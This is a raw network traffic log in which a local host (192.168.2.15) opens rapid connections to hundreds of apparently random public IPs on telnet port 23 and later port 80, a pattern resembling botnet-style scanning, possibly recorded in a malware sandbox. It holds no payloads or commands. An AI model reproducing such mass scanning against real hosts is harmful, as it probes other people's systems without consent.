Feb 4, 2025 18:11:16.283727884 CET	10645	23	192.168.2.15	78.72.142.169
Feb 4, 2025 18:11:16.283732891 CET	10645	23	192.168.2.15	203.252.78.63
Feb 4, 2025 18:11:16.283735991 CET	10645	23	192.168.2.15	38.191.51.6
Feb 4, 2025 18:11:16.283747911 CET	10645	23	192.168.2.15	136.122.157.19
Feb 4, 2025 18:11:16.283751011 CET	10645	23	192.168.2.15	155.33.6.119
Feb 4, 2025 18:11:16.283737898 CET	10645	23	192.168.2.15	42.60.255.144
Feb 4, 2025 18:11:16.283751965 CET	10645	23	192.168.2.15	190.107.36.137
Feb 4, 2025 18:11:16.283755064 CET	10645	23	192.168.2.15	190.103.207.168
Feb 4, 2025 18:11:16.283761978 CET	10645	23	192.168.2.15	95.84.105.91
Feb 4, 2025 18:11:16.283762932 CET	10645	23	192.168.2.15	124.92.225.219
Feb 4, 2025 18:11:16.283770084 CET	10645	23	192.168.2.15	219.8.227.244
Feb 4, 2025 18:11:16.283776045 CET	10645	23	192.168.2.15	31.161.249.44
Feb 4, 2025 18:11:16.283777952 CET	10645	23	192.168.2.15	135.76.119.184
Feb 4, 2025 18:11:16.283781052 CET	10645	23	192.168.2.15	98.250.127.25
Feb 4, 2025 18:11:16.283781052 CET	10645	23	192.168.2.15	27.25.209.106
Feb 4, 2025 18:11:16.283781052 CET	10645	23	192.168.2.15	47.153.134.191
Feb 4, 2025 18:11:16.283795118 CET	10645	23	192.168.2.15	170.120.157.45
Feb 4, 2025 18:11:16.283795118 CET	10645	23	192.168.2.15	46.112.251.95
Feb 4, 2025 18:11:16.283796072 CET	10645	23	192.168.2.15	83.101.111.205
Feb 4, 2025 18:11:16.283798933 CET	10645	23	192.168.2.15	94.249.161.241
Feb 4, 2025 18:11:16.283818960 CET	10645	23	192.168.2.15	202.164.19.102
Feb 4, 2025 18:11:16.283822060 CET	10645	23	192.168.2.15	187.110.2.152
Feb 4, 2025 18:11:16.283822060 CET	10645	23	192.168.2.15	159.247.183.36
Feb 4, 2025 18:11:16.283822060 CET	10645	23	192.168.2.15	32.118.221.181
Feb 4, 2025 18:11:16.283822060 CET	10645	23	192.168.2.15	145.120.219.113
Feb 4, 2025 18:11:16.283824921 CET	10645	23	192.168.2.15	100.26.227.106
Feb 4, 2025 18:11:16.283824921 CET	10645	23	192.168.2.15	121.205.94.254
Feb 4, 2025 18:11:16.283824921 CET	10645	23	192.168.2.15	54.53.223.31
Feb 4, 2025 18:11:16.283824921 CET	10645	23	192.168.2.15	218.207.59.144
Feb 4, 2025 18:11:16.283827066 CET	10645	23	192.168.2.15	137.48.104.13
Feb 4, 2025 18:11:16.283828020 CET	10645	23	192.168.2.15	121.245.4.117
Feb 4, 2025 18:11:16.283828020 CET	10645	23	192.168.2.15	105.251.228.106
Feb 4, 2025 18:11:16.283839941 CET	10645	23	192.168.2.15	124.99.114.90
Feb 4, 2025 18:11:16.283839941 CET	10645	23	192.168.2.15	218.211.174.228
Feb 4, 2025 18:11:16.283840895 CET	10645	23	192.168.2.15	119.154.109.222
Feb 4, 2025 18:11:16.283843994 CET	10645	23	192.168.2.15	177.183.60.130
Feb 4, 2025 18:11:16.283848047 CET	10645	23	192.168.2.15	198.251.80.93
Feb 4, 2025 18:11:16.283849955 CET	10645	23	192.168.2.15	181.116.202.226
Feb 4, 2025 18:11:16.283864975 CET	10645	23	192.168.2.15	161.159.98.118
Feb 4, 2025 18:11:16.283866882 CET	10645	23	192.168.2.15	1.192.12.216
Feb 4, 2025 18:11:16.283866882 CET	10645	23	192.168.2.15	185.60.220.50
Feb 4, 2025 18:11:16.283871889 CET	10645	23	192.168.2.15	68.140.100.14
Feb 4, 2025 18:11:16.283874989 CET	10645	23	192.168.2.15	126.44.168.26
Feb 4, 2025 18:11:16.283879995 CET	10645	23	192.168.2.15	9.69.132.85
Feb 4, 2025 18:11:16.283883095 CET	10645	23	192.168.2.15	13.77.154.13
Feb 4, 2025 18:11:16.283885002 CET	10645	23	192.168.2.15	73.29.146.45
Feb 4, 2025 18:11:16.283885002 CET	10645	23	192.168.2.15	88.104.254.60
Feb 4, 2025 18:11:16.283896923 CET	10645	23	192.168.2.15	60.122.66.244
Feb 4, 2025 18:11:16.283901930 CET	10645	23	192.168.2.15	155.184.250.96
Feb 4, 2025 18:11:16.283906937 CET	10645	23	192.168.2.15	38.193.83.51
Feb 4, 2025 18:11:16.283906937 CET	10645	23	192.168.2.15	80.47.144.193
Feb 4, 2025 18:11:16.283909082 CET	10645	23	192.168.2.15	175.165.48.46
Feb 4, 2025 18:11:16.283912897 CET	10645	23	192.168.2.15	87.108.1.183
Feb 4, 2025 18:11:16.283926964 CET	10645	23	192.168.2.15	69.189.74.67
Feb 4, 2025 18:11:16.283930063 CET	10645	23	192.168.2.15	190.16.101.76
Feb 4, 2025 18:11:16.283934116 CET	10645	23	192.168.2.15	173.198.111.70
Feb 4, 2025 18:11:16.283937931 CET	10645	23	192.168.2.15	124.81.138.2
Feb 4, 2025 18:11:16.283938885 CET	10645	23	192.168.2.15	90.183.93.10
Feb 4, 2025 18:11:16.283938885 CET	10645	23	192.168.2.15	136.166.170.215
Feb 4, 2025 18:11:16.283950090 CET	10645	23	192.168.2.15	203.245.38.91
Feb 4, 2025 18:11:16.283950090 CET	10645	23	192.168.2.15	104.124.5.94
Feb 4, 2025 18:11:16.283951044 CET	10645	23	192.168.2.15	5.157.117.248
Feb 4, 2025 18:11:16.283951044 CET	10645	23	192.168.2.15	188.54.74.163
Feb 4, 2025 18:11:16.283966064 CET	10645	23	192.168.2.15	142.119.39.191
Feb 4, 2025 18:11:16.283967018 CET	10645	23	192.168.2.15	181.166.36.182
Feb 4, 2025 18:11:16.283967018 CET	10645	23	192.168.2.15	96.23.251.123
Feb 4, 2025 18:11:16.283974886 CET	10645	23	192.168.2.15	145.83.34.236
Feb 4, 2025 18:11:16.283974886 CET	10645	23	192.168.2.15	66.246.145.133
Feb 4, 2025 18:11:16.283974886 CET	10645	23	192.168.2.15	13.96.98.135
Feb 4, 2025 18:11:16.283977032 CET	10645	23	192.168.2.15	140.173.100.174
Feb 4, 2025 18:11:16.283977032 CET	10645	23	192.168.2.15	199.59.13.46
Feb 4, 2025 18:11:16.283977032 CET	10645	23	192.168.2.15	84.249.152.127
Feb 4, 2025 18:11:16.283979893 CET	10645	23	192.168.2.15	84.39.115.36
Feb 4, 2025 18:11:16.283979893 CET	10645	23	192.168.2.15	61.153.108.60
Feb 4, 2025 18:11:16.283982992 CET	10645	23	192.168.2.15	102.133.126.128
Feb 4, 2025 18:11:16.283987045 CET	10645	23	192.168.2.15	4.7.126.12
Feb 4, 2025 18:11:16.283987045 CET	10645	23	192.168.2.15	54.167.114.136
Feb 4, 2025 18:11:16.283987045 CET	10645	23	192.168.2.15	184.204.66.237
Feb 4, 2025 18:11:16.283988953 CET	10645	23	192.168.2.15	183.58.68.170
Feb 4, 2025 18:11:16.283997059 CET	10645	23	192.168.2.15	72.45.172.5
Feb 4, 2025 18:11:16.283997059 CET	10645	23	192.168.2.15	156.81.81.99
Feb 4, 2025 18:11:16.284008026 CET	10645	23	192.168.2.15	184.15.33.133
Feb 4, 2025 18:11:16.284008026 CET	10645	23	192.168.2.15	180.14.219.185
Feb 4, 2025 18:11:16.284008980 CET	10645	23	192.168.2.15	218.174.113.243
Feb 4, 2025 18:11:16.284013987 CET	10645	23	192.168.2.15	155.114.198.116
Feb 4, 2025 18:11:16.284013987 CET	10645	23	192.168.2.15	175.121.120.92
Feb 4, 2025 18:11:16.284013987 CET	10645	23	192.168.2.15	148.125.81.228
Feb 4, 2025 18:11:16.284022093 CET	10645	23	192.168.2.15	209.122.83.81
Feb 4, 2025 18:11:16.284022093 CET	10645	23	192.168.2.15	190.64.169.43
Feb 4, 2025 18:11:16.284024000 CET	10645	23	192.168.2.15	86.114.224.88
Feb 4, 2025 18:11:16.284030914 CET	10645	23	192.168.2.15	201.143.229.18
Feb 4, 2025 18:11:16.284033060 CET	10645	23	192.168.2.15	2.201.71.27
Feb 4, 2025 18:11:16.284033060 CET	10645	23	192.168.2.15	67.81.37.197
Feb 4, 2025 18:11:16.284034967 CET	10645	23	192.168.2.15	85.36.92.231
Feb 4, 2025 18:11:16.284040928 CET	10645	23	192.168.2.15	116.198.235.182
Feb 4, 2025 18:11:16.284041882 CET	10645	23	192.168.2.15	90.20.30.4
Feb 4, 2025 18:11:16.284041882 CET	10645	23	192.168.2.15	196.212.65.162
Feb 4, 2025 18:11:16.284044027 CET	10645	23	192.168.2.15	199.49.56.21
Feb 4, 2025 18:11:16.284049034 CET	10645	23	192.168.2.15	53.132.109.244
Feb 4, 2025 18:11:16.284053087 CET	10645	23	192.168.2.15	65.187.237.253
Feb 4, 2025 18:11:16.284132957 CET	10645	23	192.168.2.15	175.131.23.26
Feb 4, 2025 18:11:16.284132957 CET	10645	23	192.168.2.15	48.186.7.61
Feb 4, 2025 18:11:16.284136057 CET	10645	23	192.168.2.15	180.239.84.216
Feb 4, 2025 18:11:16.284136057 CET	10645	23	192.168.2.15	78.172.93.118
Feb 4, 2025 18:11:16.287117004 CET	52054	23	192.168.2.15	170.144.61.73
Feb 4, 2025 18:11:16.291160107 CET	23	10645	37.4.70.100	192.168.2.15
Feb 4, 2025 18:11:16.291171074 CET	33708	23	192.168.2.15	129.98.8.49
Feb 4, 2025 18:11:16.291181087 CET	23	10645	53.171.183.242	192.168.2.15
Feb 4, 2025 18:11:16.291188955 CET	23	10645	128.190.125.160	192.168.2.15
Feb 4, 2025 18:11:16.291197062 CET	23	10645	101.166.127.113	192.168.2.15
Feb 4, 2025 18:11:16.291204929 CET	23	10645	131.146.80.228	192.168.2.15
Feb 4, 2025 18:11:16.291209936 CET	23	10645	66.66.166.49	192.168.2.15
Feb 4, 2025 18:11:16.291208982 CET	10645	23	192.168.2.15	37.4.70.100
Feb 4, 2025 18:11:16.291220903 CET	23	10645	213.187.224.219	192.168.2.15
Feb 4, 2025 18:11:16.291234970 CET	10645	23	192.168.2.15	128.190.125.160
Feb 4, 2025 18:11:16.291241884 CET	23	10645	80.139.153.30	192.168.2.15
Feb 4, 2025 18:11:16.291255951 CET	23	10645	140.160.112.20	192.168.2.15
Feb 4, 2025 18:11:16.291261911 CET	10645	23	192.168.2.15	53.171.183.242
Feb 4, 2025 18:11:16.291270018 CET	23	10645	46.161.14.57	192.168.2.15
Feb 4, 2025 18:11:16.291280031 CET	10645	23	192.168.2.15	213.187.224.219
Feb 4, 2025 18:11:16.291280031 CET	10645	23	192.168.2.15	101.166.127.113
Feb 4, 2025 18:11:16.291280031 CET	10645	23	192.168.2.15	131.146.80.228
Feb 4, 2025 18:11:16.291289091 CET	10645	23	192.168.2.15	66.66.166.49
Feb 4, 2025 18:11:16.291296005 CET	10645	23	192.168.2.15	140.160.112.20
Feb 4, 2025 18:11:16.291297913 CET	10645	23	192.168.2.15	80.139.153.30
Feb 4, 2025 18:11:16.291306973 CET	23	10645	132.236.219.245	192.168.2.15
Feb 4, 2025 18:11:16.291316032 CET	10645	23	192.168.2.15	46.161.14.57
Feb 4, 2025 18:11:16.291321039 CET	23	10645	141.166.32.100	192.168.2.15
Feb 4, 2025 18:11:16.291332006 CET	23	10645	115.164.130.133	192.168.2.15
Feb 4, 2025 18:11:16.291340113 CET	23	10645	43.76.119.21	192.168.2.15
Feb 4, 2025 18:11:16.291351080 CET	23	10645	13.155.227.153	192.168.2.15
Feb 4, 2025 18:11:16.291358948 CET	23	10645	138.48.69.180	192.168.2.15
Feb 4, 2025 18:11:16.291359901 CET	10645	23	192.168.2.15	141.166.32.100
Feb 4, 2025 18:11:16.291364908 CET	10645	23	192.168.2.15	132.236.219.245
Feb 4, 2025 18:11:16.291373968 CET	10645	23	192.168.2.15	43.76.119.21
Feb 4, 2025 18:11:16.291377068 CET	10645	23	192.168.2.15	13.155.227.153
Feb 4, 2025 18:11:16.291392088 CET	10645	23	192.168.2.15	115.164.130.133
Feb 4, 2025 18:11:16.291400909 CET	10645	23	192.168.2.15	138.48.69.180
Feb 4, 2025 18:11:16.291578054 CET	23	10645	98.88.51.107	192.168.2.15
Feb 4, 2025 18:11:16.291594982 CET	23	10645	150.106.228.29	192.168.2.15
Feb 4, 2025 18:11:16.291604042 CET	23	10645	43.224.106.122	192.168.2.15
Feb 4, 2025 18:11:16.291613102 CET	23	10645	130.250.126.138	192.168.2.15
Feb 4, 2025 18:11:16.291621923 CET	23	10645	107.107.174.210	192.168.2.15
Feb 4, 2025 18:11:16.291630030 CET	23	10645	68.8.15.149	192.168.2.15
Feb 4, 2025 18:11:16.291634083 CET	10645	23	192.168.2.15	98.88.51.107
Feb 4, 2025 18:11:16.291637897 CET	10645	23	192.168.2.15	150.106.228.29
Feb 4, 2025 18:11:16.291645050 CET	23	10645	96.48.251.41	192.168.2.15
Feb 4, 2025 18:11:16.291645050 CET	10645	23	192.168.2.15	130.250.126.138
Feb 4, 2025 18:11:16.291646957 CET	10645	23	192.168.2.15	43.224.106.122
Feb 4, 2025 18:11:16.291655064 CET	23	10645	62.158.20.230	192.168.2.15
Feb 4, 2025 18:11:16.291691065 CET	10645	23	192.168.2.15	107.107.174.210
Feb 4, 2025 18:11:16.291693926 CET	10645	23	192.168.2.15	96.48.251.41
Feb 4, 2025 18:11:16.291698933 CET	23	10645	120.103.63.112	192.168.2.15
Feb 4, 2025 18:11:16.291698933 CET	10645	23	192.168.2.15	68.8.15.149
Feb 4, 2025 18:11:16.291698933 CET	10645	23	192.168.2.15	62.158.20.230
Feb 4, 2025 18:11:16.291708946 CET	23	10645	184.112.177.22	192.168.2.15
Feb 4, 2025 18:11:16.291719913 CET	23	10645	45.106.2.69	192.168.2.15
Feb 4, 2025 18:11:16.291728020 CET	23	10645	105.163.156.88	192.168.2.15
Feb 4, 2025 18:11:16.291735888 CET	23	10645	135.232.78.237	192.168.2.15
Feb 4, 2025 18:11:16.291738987 CET	10645	23	192.168.2.15	120.103.63.112
Feb 4, 2025 18:11:16.291743994 CET	23	10645	139.185.107.145	192.168.2.15
Feb 4, 2025 18:11:16.291754007 CET	23	10645	79.235.126.246	192.168.2.15
Feb 4, 2025 18:11:16.291753054 CET	10645	23	192.168.2.15	184.112.177.22
Feb 4, 2025 18:11:16.291757107 CET	10645	23	192.168.2.15	45.106.2.69
Feb 4, 2025 18:11:16.291760921 CET	10645	23	192.168.2.15	105.163.156.88
Feb 4, 2025 18:11:16.291763067 CET	23	10645	222.208.250.122	192.168.2.15
Feb 4, 2025 18:11:16.291771889 CET	23	10645	79.125.131.183	192.168.2.15
Feb 4, 2025 18:11:16.291776896 CET	10645	23	192.168.2.15	139.185.107.145
Feb 4, 2025 18:11:16.291779041 CET	10645	23	192.168.2.15	79.235.126.246
Feb 4, 2025 18:11:16.291785002 CET	23	10645	14.175.89.174	192.168.2.15
Feb 4, 2025 18:11:16.291795015 CET	23	10645	79.196.210.247	192.168.2.15
Feb 4, 2025 18:11:16.291804075 CET	23	10645	14.73.192.234	192.168.2.15
Feb 4, 2025 18:11:16.291805029 CET	10645	23	192.168.2.15	222.208.250.122
Feb 4, 2025 18:11:16.291805983 CET	10645	23	192.168.2.15	135.232.78.237
Feb 4, 2025 18:11:16.291811943 CET	23	10645	221.56.52.124	192.168.2.15
Feb 4, 2025 18:11:16.291815996 CET	23	10645	193.80.56.107	192.168.2.15
Feb 4, 2025 18:11:16.291824102 CET	23	10645	146.154.41.106	192.168.2.15
Feb 4, 2025 18:11:16.291831017 CET	10645	23	192.168.2.15	14.175.89.174
Feb 4, 2025 18:11:16.291831017 CET	10645	23	192.168.2.15	79.125.131.183
Feb 4, 2025 18:11:16.291831017 CET	10645	23	192.168.2.15	79.196.210.247
Feb 4, 2025 18:11:16.291832924 CET	23	10645	182.28.122.211	192.168.2.15
Feb 4, 2025 18:11:16.291835070 CET	10645	23	192.168.2.15	14.73.192.234
Feb 4, 2025 18:11:16.291841984 CET	23	10645	207.158.190.34	192.168.2.15
Feb 4, 2025 18:11:16.291850090 CET	10645	23	192.168.2.15	221.56.52.124
Feb 4, 2025 18:11:16.291850090 CET	23	10645	146.229.107.82	192.168.2.15
Feb 4, 2025 18:11:16.291852951 CET	10645	23	192.168.2.15	146.154.41.106
Feb 4, 2025 18:11:16.291855097 CET	10645	23	192.168.2.15	193.80.56.107
Feb 4, 2025 18:11:16.291858912 CET	23	10645	149.118.195.184	192.168.2.15
Feb 4, 2025 18:11:16.291867971 CET	23	10645	152.85.161.126	192.168.2.15
Feb 4, 2025 18:11:16.291892052 CET	10645	23	192.168.2.15	182.28.122.211
Feb 4, 2025 18:11:16.291892052 CET	10645	23	192.168.2.15	207.158.190.34
Feb 4, 2025 18:11:16.291898966 CET	10645	23	192.168.2.15	146.229.107.82
Feb 4, 2025 18:11:16.291898966 CET	10645	23	192.168.2.15	152.85.161.126
Feb 4, 2025 18:11:16.291902065 CET	23	10645	34.204.94.67	192.168.2.15
Feb 4, 2025 18:11:16.291909933 CET	10645	23	192.168.2.15	149.118.195.184
Feb 4, 2025 18:11:16.291913033 CET	23	10645	125.150.199.124	192.168.2.15
Feb 4, 2025 18:11:16.291923046 CET	23	10645	57.138.170.30	192.168.2.15
Feb 4, 2025 18:11:16.291932106 CET	23	10645	79.29.108.4	192.168.2.15
Feb 4, 2025 18:11:16.291940928 CET	23	10645	167.169.73.2	192.168.2.15
Feb 4, 2025 18:11:16.291950941 CET	23	10645	138.40.84.109	192.168.2.15
Feb 4, 2025 18:11:16.291960955 CET	23	10645	216.197.114.86	192.168.2.15
Feb 4, 2025 18:11:16.291960955 CET	10645	23	192.168.2.15	57.138.170.30
Feb 4, 2025 18:11:16.291965008 CET	10645	23	192.168.2.15	125.150.199.124
Feb 4, 2025 18:11:16.291969061 CET	23	10645	213.183.36.255	192.168.2.15
Feb 4, 2025 18:11:16.291970015 CET	10645	23	192.168.2.15	167.169.73.2
Feb 4, 2025 18:11:16.291980982 CET	10645	23	192.168.2.15	138.40.84.109
Feb 4, 2025 18:11:16.291982889 CET	10645	23	192.168.2.15	34.204.94.67
Feb 4, 2025 18:11:16.291984081 CET	10645	23	192.168.2.15	79.29.108.4
Feb 4, 2025 18:11:16.291987896 CET	23	10645	122.240.55.106	192.168.2.15
Feb 4, 2025 18:11:16.291997910 CET	23	10645	77.12.156.188	192.168.2.15
Feb 4, 2025 18:11:16.292009115 CET	23	10645	13.23.11.183	192.168.2.15
Feb 4, 2025 18:11:16.292017937 CET	23	10645	108.4.104.38	192.168.2.15
Feb 4, 2025 18:11:16.292020082 CET	10645	23	192.168.2.15	122.240.55.106
Feb 4, 2025 18:11:16.292026997 CET	23	10645	96.148.40.102	192.168.2.15
Feb 4, 2025 18:11:16.292036057 CET	23	10645	166.21.132.1	192.168.2.15
Feb 4, 2025 18:11:16.292043924 CET	10645	23	192.168.2.15	13.23.11.183
Feb 4, 2025 18:11:16.292051077 CET	10645	23	192.168.2.15	77.12.156.188
Feb 4, 2025 18:11:16.292053938 CET	10645	23	192.168.2.15	216.197.114.86
Feb 4, 2025 18:11:16.292053938 CET	10645	23	192.168.2.15	213.183.36.255
Feb 4, 2025 18:11:16.292054892 CET	23	10645	77.92.205.179	192.168.2.15
Feb 4, 2025 18:11:16.292056084 CET	10645	23	192.168.2.15	108.4.104.38
Feb 4, 2025 18:11:16.292061090 CET	10645	23	192.168.2.15	96.148.40.102
Feb 4, 2025 18:11:16.292064905 CET	23	10645	60.251.240.130	192.168.2.15
Feb 4, 2025 18:11:16.292073965 CET	23	10645	31.51.236.245	192.168.2.15
Feb 4, 2025 18:11:16.292083025 CET	23	10645	118.145.207.164	192.168.2.15
Feb 4, 2025 18:11:16.292087078 CET	10645	23	192.168.2.15	166.21.132.1
Feb 4, 2025 18:11:16.292092085 CET	23	10645	177.89.46.184	192.168.2.15
Feb 4, 2025 18:11:16.292100906 CET	23	10645	157.169.70.115	192.168.2.15
Feb 4, 2025 18:11:16.292109013 CET	23	10645	211.238.124.202	192.168.2.15
Feb 4, 2025 18:11:16.292110920 CET	10645	23	192.168.2.15	77.92.205.179
Feb 4, 2025 18:11:16.292118073 CET	23	10645	46.221.42.204	192.168.2.15
Feb 4, 2025 18:11:16.292119980 CET	10645	23	192.168.2.15	118.145.207.164
Feb 4, 2025 18:11:16.292120934 CET	10645	23	192.168.2.15	177.89.46.184
Feb 4, 2025 18:11:16.292126894 CET	23	10645	169.92.155.20	192.168.2.15
Feb 4, 2025 18:11:16.292130947 CET	10645	23	192.168.2.15	157.169.70.115
Feb 4, 2025 18:11:16.292140961 CET	23	10645	52.95.247.197	192.168.2.15
Feb 4, 2025 18:11:16.292150021 CET	10645	23	192.168.2.15	60.251.240.130
Feb 4, 2025 18:11:16.292151928 CET	10645	23	192.168.2.15	31.51.236.245
Feb 4, 2025 18:11:16.292156935 CET	10645	23	192.168.2.15	211.238.124.202
Feb 4, 2025 18:11:16.292157888 CET	10645	23	192.168.2.15	46.221.42.204
Feb 4, 2025 18:11:16.292160034 CET	23	10645	133.0.171.72	192.168.2.15
Feb 4, 2025 18:11:16.292169094 CET	23	10645	17.73.187.100	192.168.2.15
Feb 4, 2025 18:11:16.292169094 CET	10645	23	192.168.2.15	169.92.155.20
Feb 4, 2025 18:11:16.292176962 CET	23	10645	129.148.27.228	192.168.2.15
Feb 4, 2025 18:11:16.292186022 CET	23	10645	8.97.149.97	192.168.2.15
Feb 4, 2025 18:11:16.292192936 CET	10645	23	192.168.2.15	52.95.247.197
Feb 4, 2025 18:11:16.292202950 CET	10645	23	192.168.2.15	17.73.187.100
Feb 4, 2025 18:11:16.292206049 CET	10645	23	192.168.2.15	133.0.171.72
Feb 4, 2025 18:11:16.292224884 CET	10645	23	192.168.2.15	129.148.27.228
Feb 4, 2025 18:11:16.292224884 CET	10645	23	192.168.2.15	8.97.149.97
Feb 4, 2025 18:11:16.292227983 CET	23	10645	70.92.9.141	192.168.2.15
Feb 4, 2025 18:11:16.292237997 CET	23	10645	177.55.21.226	192.168.2.15
Feb 4, 2025 18:11:16.292246103 CET	23	10645	222.3.24.169	192.168.2.15
Feb 4, 2025 18:11:16.292253971 CET	23	10645	105.230.2.80	192.168.2.15
Feb 4, 2025 18:11:16.292263031 CET	23	10645	20.116.54.135	192.168.2.15
Feb 4, 2025 18:11:16.292270899 CET	23	10645	105.70.120.22	192.168.2.15
Feb 4, 2025 18:11:16.292273045 CET	10645	23	192.168.2.15	70.92.9.141
Feb 4, 2025 18:11:16.292278051 CET	23	10645	69.233.134.134	192.168.2.15
Feb 4, 2025 18:11:16.292285919 CET	23	10645	53.241.161.242	192.168.2.15
Feb 4, 2025 18:11:16.292296886 CET	23	10645	208.103.98.39	192.168.2.15
Feb 4, 2025 18:11:16.292298079 CET	10645	23	192.168.2.15	105.230.2.80
Feb 4, 2025 18:11:16.292303085 CET	10645	23	192.168.2.15	177.55.21.226
Feb 4, 2025 18:11:16.292303085 CET	10645	23	192.168.2.15	222.3.24.169
Feb 4, 2025 18:11:16.292305946 CET	10645	23	192.168.2.15	69.233.134.134
Feb 4, 2025 18:11:16.292310953 CET	10645	23	192.168.2.15	105.70.120.22
Feb 4, 2025 18:11:16.292314053 CET	23	10645	177.168.10.247	192.168.2.15
Feb 4, 2025 18:11:16.292323112 CET	10645	23	192.168.2.15	53.241.161.242
Feb 4, 2025 18:11:16.292325974 CET	10645	23	192.168.2.15	20.116.54.135
Feb 4, 2025 18:11:16.292330027 CET	23	10645	92.167.114.18	192.168.2.15
Feb 4, 2025 18:11:16.292339087 CET	23	10645	148.136.118.141	192.168.2.15
Feb 4, 2025 18:11:16.292345047 CET	10645	23	192.168.2.15	208.103.98.39
Feb 4, 2025 18:11:16.292345047 CET	10645	23	192.168.2.15	177.168.10.247
Feb 4, 2025 18:11:16.292349100 CET	23	10645	75.125.5.219	192.168.2.15
Feb 4, 2025 18:11:16.292354107 CET	23	10645	221.45.96.135	192.168.2.15
Feb 4, 2025 18:11:16.292363882 CET	23	10645	66.67.244.230	192.168.2.15
Feb 4, 2025 18:11:16.292373896 CET	10645	23	192.168.2.15	148.136.118.141
Feb 4, 2025 18:11:16.292377949 CET	10645	23	192.168.2.15	92.167.114.18
Feb 4, 2025 18:11:16.292378902 CET	23	10645	40.233.124.118	192.168.2.15
Feb 4, 2025 18:11:16.292386055 CET	10645	23	192.168.2.15	75.125.5.219
Feb 4, 2025 18:11:16.292393923 CET	23	10645	158.128.166.54	192.168.2.15
Feb 4, 2025 18:11:16.292402983 CET	23	10645	140.32.219.246	192.168.2.15
Feb 4, 2025 18:11:16.292409897 CET	23	10645	165.186.186.1	192.168.2.15
Feb 4, 2025 18:11:16.292418957 CET	23	10645	97.46.52.137	192.168.2.15
Feb 4, 2025 18:11:16.292424917 CET	10645	23	192.168.2.15	221.45.96.135
Feb 4, 2025 18:11:16.292428017 CET	23	10645	144.99.64.133	192.168.2.15
Feb 4, 2025 18:11:16.292429924 CET	10645	23	192.168.2.15	66.67.244.230
Feb 4, 2025 18:11:16.292429924 CET	10645	23	192.168.2.15	40.233.124.118
Feb 4, 2025 18:11:16.292429924 CET	10645	23	192.168.2.15	158.128.166.54
Feb 4, 2025 18:11:16.292442083 CET	10645	23	192.168.2.15	140.32.219.246
Feb 4, 2025 18:11:16.292443037 CET	10645	23	192.168.2.15	165.186.186.1
Feb 4, 2025 18:11:16.292464972 CET	10645	23	192.168.2.15	144.99.64.133
Feb 4, 2025 18:11:16.292934895 CET	10645	23	192.168.2.15	97.46.52.137
Feb 4, 2025 18:11:16.297013044 CET	23	33708	129.98.8.49	192.168.2.15
Feb 4, 2025 18:11:16.298531055 CET	33708	23	192.168.2.15	129.98.8.49
Feb 4, 2025 18:11:16.304822922 CET	10643	80	192.168.2.15	140.218.15.131
Feb 4, 2025 18:11:16.304831028 CET	10643	80	192.168.2.15	14.87.202.216
Feb 4, 2025 18:11:16.304828882 CET	10643	80	192.168.2.15	50.88.6.189
Feb 4, 2025 18:11:16.304831028 CET	10643	80	192.168.2.15	4.191.242.130
Feb 4, 2025 18:11:16.304831028 CET	10643	80	192.168.2.15	25.56.15.142
Feb 4, 2025 18:11:16.304828882 CET	10643	80	192.168.2.15	201.209.216.5
Feb 4, 2025 18:11:16.304830074 CET	10643	80	192.168.2.15	110.93.128.77
Feb 4, 2025 18:11:16.304838896 CET	10643	80	192.168.2.15	63.79.121.203
Feb 4, 2025 18:11:16.304867029 CET	10643	80	192.168.2.15	25.190.204.227
Feb 4, 2025 18:11:16.304884911 CET	10643	80	192.168.2.15	65.20.118.142
Feb 4, 2025 18:11:16.304884911 CET	10643	80	192.168.2.15	99.221.200.117
Feb 4, 2025 18:11:16.304886103 CET	10643	80	192.168.2.15	99.79.179.127
Feb 4, 2025 18:11:16.304892063 CET	10643	80	192.168.2.15	41.24.14.23
Feb 4, 2025 18:11:16.304900885 CET	10643	80	192.168.2.15	37.50.100.253
Feb 4, 2025 18:11:16.304902077 CET	10643	80	192.168.2.15	187.230.55.4
Feb 4, 2025 18:11:16.304903984 CET	10643	80	192.168.2.15	187.150.243.139
Feb 4, 2025 18:11:16.304913998 CET	10643	80	192.168.2.15	135.131.186.157
Feb 4, 2025 18:11:16.304917097 CET	10643	80	192.168.2.15	187.179.155.196
Feb 4, 2025 18:11:16.304917097 CET	10643	80	192.168.2.15	195.138.26.162
Feb 4, 2025 18:11:16.304900885 CET	10643	80	192.168.2.15	159.82.64.67
Feb 4, 2025 18:11:16.304920912 CET	10643	80	192.168.2.15	5.195.134.2
Feb 4, 2025 18:11:16.304920912 CET	10643	80	192.168.2.15	156.225.147.208
Feb 4, 2025 18:11:16.304922104 CET	10643	80	192.168.2.15	44.175.143.112
Feb 4, 2025 18:11:16.304948092 CET	10643	80	192.168.2.15	71.73.13.101
Feb 4, 2025 18:11:16.304948092 CET	10643	80	192.168.2.15	136.67.157.225
Feb 4, 2025 18:11:16.304948092 CET	10643	80	192.168.2.15	9.25.23.82
Feb 4, 2025 18:11:16.304949045 CET	10643	80	192.168.2.15	202.134.27.134
Feb 4, 2025 18:11:16.304949045 CET	10643	80	192.168.2.15	135.232.32.35
Feb 4, 2025 18:11:16.304949045 CET	10643	80	192.168.2.15	32.65.49.153
Feb 4, 2025 18:11:16.304949045 CET	10643	80	192.168.2.15	197.134.88.208
Feb 4, 2025 18:11:16.304955006 CET	10643	80	192.168.2.15	100.217.169.198
Feb 4, 2025 18:11:16.304955006 CET	10643	80	192.168.2.15	5.164.146.241
Feb 4, 2025 18:11:16.304958105 CET	10643	80	192.168.2.15	219.207.13.128
Feb 4, 2025 18:11:16.304959059 CET	10643	80	192.168.2.15	58.197.17.158
Feb 4, 2025 18:11:16.304959059 CET	10643	80	192.168.2.15	82.75.36.70
Feb 4, 2025 18:11:16.304960966 CET	10643	80	192.168.2.15	139.172.119.19
Feb 4, 2025 18:11:16.304965973 CET	10643	80	192.168.2.15	175.235.103.67
Feb 4, 2025 18:11:16.304965973 CET	10643	80	192.168.2.15	79.27.148.161
Feb 4, 2025 18:11:16.304977894 CET	10643	80	192.168.2.15	14.158.142.48
Feb 4, 2025 18:11:16.304979086 CET	10643	80	192.168.2.15	195.235.149.45
Feb 4, 2025 18:11:16.304979086 CET	10643	80	192.168.2.15	36.13.247.66
Feb 4, 2025 18:11:16.304984093 CET	10643	80	192.168.2.15	109.50.66.25
Feb 4, 2025 18:11:16.304999113 CET	10643	80	192.168.2.15	47.38.48.239
Feb 4, 2025 18:11:16.304999113 CET	10643	80	192.168.2.15	17.122.32.86
Feb 4, 2025 18:11:16.305000067 CET	10643	80	192.168.2.15	53.22.54.29
Feb 4, 2025 18:11:16.304984093 CET	10643	80	192.168.2.15	212.71.226.109
